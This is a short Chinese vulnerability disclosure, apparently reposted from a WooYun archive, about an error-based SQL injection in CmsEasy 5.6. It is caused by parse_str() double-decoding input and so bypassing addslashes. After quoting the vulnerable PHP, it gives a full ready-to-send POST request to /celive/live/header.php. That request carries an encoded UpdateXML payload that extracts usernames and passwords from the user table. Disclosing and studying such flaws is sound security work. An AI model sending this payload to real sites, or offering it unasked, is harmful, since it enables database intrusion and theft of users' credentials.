cmseasy CmsEasy_5.6_20151009 无限制报错注入（parse_str()的坑）

来源：http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html

parse_str()引发的注入，

//parse_str()的作用是解析字符串并且把字符串注册成变量，第二个参数$arr是一个数组，parse_str()之前会先urldecode,也就是会二次url解码，实现单引号逃逸。

漏洞距离现在好像有点年代久远，有个限制就是对于php的版本要小于5.4，因为5.4以后默认关闭gpc，如果关闭gpc就会调用addslashes().

function Postdata($a) {

    global $db;

    $chatid = $_SESSION['chatid'];

    $name = $_SESSION['name'];

    $a['detail'] = htmlspecialchars($a['detail']);

    if (!get_magic_quotes_gpc()) {

        $a['detail'] = addslashes($a['detail']);

    }
}

　　

        if ($rootTag == "xjxquery") {

            $sQuery = "";

            $this->iPos++;

            while (!stristr($this->aObjArray[$this->iPos], "</xjxquery>")) {

                if (stristr($this->aObjArray[$this->iPos], "<q>") || stristr($this->aObjArray[$this->iPos], "</q>")) {

                    $this->iPos++;

                    continue;

                }

                $sQuery .= $this->aObjArray[$this->iPos];

                $this->iPos++;

            }

            parse_str($sQuery, $aArray);

            if ($this->bDecodeUTF8Input) {

                foreach ($aArray as $key => $value) {

                    $aArray[$key] = $this->_decodeUTF8Data($value);

                }

            }

            if (get_magic_quotes_gpc() == 1) {

                $newArray = array();

                foreach ($aArray as $sKey => $sValue) {

                    if (is_string($sValue))

                        $newArray[$sKey] = stripslashes($sValue);

                    else

                        $newArray[$sKey] = $sValue;

                }

                $aArray = $newArray;

            }

        }

        return $aArray;

    }

　　

漏洞出现在parse_str($sQuery, $aArray);

所以能进行报错注入

url: /celive/live/header.php

post：

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>